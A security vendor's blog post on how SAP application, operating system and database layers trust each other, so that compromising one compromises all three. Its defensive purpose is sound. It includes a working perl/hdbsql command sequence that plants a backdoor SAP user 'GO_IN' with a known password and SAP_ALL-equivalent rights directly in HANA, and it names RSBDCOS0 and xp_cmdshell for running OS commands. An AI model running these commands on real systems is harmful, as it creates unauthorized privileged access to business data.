March 26, 2024

Complete compromise of an SAP system - The trinity of SAP Application, Operating System and Database

In this article, we focus on the importance of securing the application, database and operating system layer to prevent unauthorized access to critical business data.

Don’t just focus on the Application layer, but also on Database and Operating System

Curious about understanding how to get full access to an SAP system and all the business data it contains? In this article, we will not discuss how to do that exactly, as there are simply too many ways to do so. Instead, we will focus on the interaction between the SAP application layer, the operating system and the database, and how having access to ONE of them grants access to ALL.

Let’s start with some background information on the architecture of SAP systems. An SAP system can be installed as shown in the picture to the right.

In its simplest form, it needs to have at least a database for data storage, an SAP application server for processing and an operating system to run the components on. These components need to interact with each other to have a functioning SAP system. Data being processed in the SAP application (S/4HANA in this example) needs to be stored in the database at some point. Both the database and SAP application server need to have an operating system to run.

For these components to work together smoothly, there is always a level of trust involved. Think, for example, a scenario where a user creates a purchase order in the SAP application and saves that. When this action is done by the end-user, the purchase order data is directly saved in the SAP database, without requiring the credentials of the database. For the end-user, this transaction is transparent. Yet, the SAP application server needs to have access to the SAP database schema to save the purchase order data. To facilitate this, there is a trust mechanism implemented that allows the SAP application server to directly save the data in the database. The implementation varies depending on the different types of databases and Operating systems, but the principle remains the same in all databases and operating systems that SAP supports.

This same principle exists not only between the SAP application layer and the database but for all 3 main components of an SAP system:

What the above pictures also imply is that by gaining control over ONE of the above components, you gain control over ALL three, providing full access to the SAP system and all data it contains. It is therefore crucial to protect all of them!

Some scenarios for illustration

Some examples to demonstrate the above:

Suppose you gained access to the SAP application with an SAP user that has SAP_ALL privileges. In that case, you can execute operating system commands via several options, e.g. ABAP report RSBDCOS0

Database access can be achieved for example via the SQL editor in transaction DBACOCKPIT:

Suppose you gained access to the operating system in the context of the <sid>adm user. This is the operating system user which is used by the SAP system for operations. Leveraging this user, you gain implicit trust in the database, and you can do updates in the tables in the SAP schema. The example below creates an SAP user directly in the HANA database from the operating system level. The example below is taken from a script we use to exploit misconfigurations in the RFC Gateway, but the same principle works directly from the OS:

#ADD THE “CREATE A USER” PART TO THE REMOTE SQL SCRIPT (This script is placed by default in the WORKdir)
..\bin\perl test.pl “echo INSERT INTO USR02 (MANDT,BNAME,USTYP,CODVN) VALUES (‘%cli%’,’GO_IN’,’S’,’G’) > a.sql”
..\bin\perl test.pl “echo ; >> a.sql”

#ADD THE “UPDATE THE BCODE\PASSCODE” PART TO THE REMOTE SQL SCRIPT
..\bin\perl test.pl “echo UPDATE USR02 set BCODE=’C76AB3A59599FE3A’ where MANDT=’%cli%’ and BNAME=’GO_IN’ >> a.sql”
..\bin\perl test.pl “echo ; >> a.sql”
..\bin\perl test.pl “echo UPDATE USR02 set PASSCODE=’CF017A9A4F1F53ED69CEDC773072B1B24A063A63′ where MANDT=’%cli%’ and BNAME=’GO_IN’ >> a.sql”
..\bin\perl test.pl “echo ; >> a.sql”

#ADD THE “GIVE IT REFUSER DDIC (Which means SAP_ALL)” PART TO THE REMOTE SQL SCRIPT
..\bin\perl test.pl “echo INSERT INTO USREFUS (MANDT,BNAME,REFUSER) VALUES (‘%cli%’,’GO_IN’,’DDIC’) >> a.sql”
..\bin\perl test.pl “echo ; >> a.sql”

#EXECUTE THE SCRIPT
..\bin\perl test.pl “hdbsql -n %dbhost% -i 00 -U DEFAULT -o output.txt -I a.sql”

By executing the above, you can log in with the user GO_IN and the password “andinyougo” (inserted via the hash). The above example is specific to HANA, but every database has its way of achieving the same. See Github for more examples.

Suppose you gained access to the Database with permission to the SAP schema user. Using the above example, you can subsequently create a user in the SAP application and then execute OS commands as mentioned earlier. But there are other means. Some database systems support direct OS command execution like Microsoft SQL via stored procedure xp_cmdshell. Weirdly enough, this stored procedure was set to ACTIVE by default in SAP installations running on MSSQL for a long time.

Conclusion

As seen in the examples above, it is crucial to not only focus on protecting the SAP application layer but also consider and secure your operating system and database. SecurityBridge’s Vulnerability Management provides essential insight to do just that. It scans for misconfigurations, insecure defaults, incorrect settings, authorisation-related issues and more on the SAP application level, as well as, for example, on the HANA database level.

Interested? Get in touch and we are happy to tell you more about how we can help you protect your business-critical SAP environment. For more SAP security-related news, articles, and whitepapers, please follow us on LinkedIn!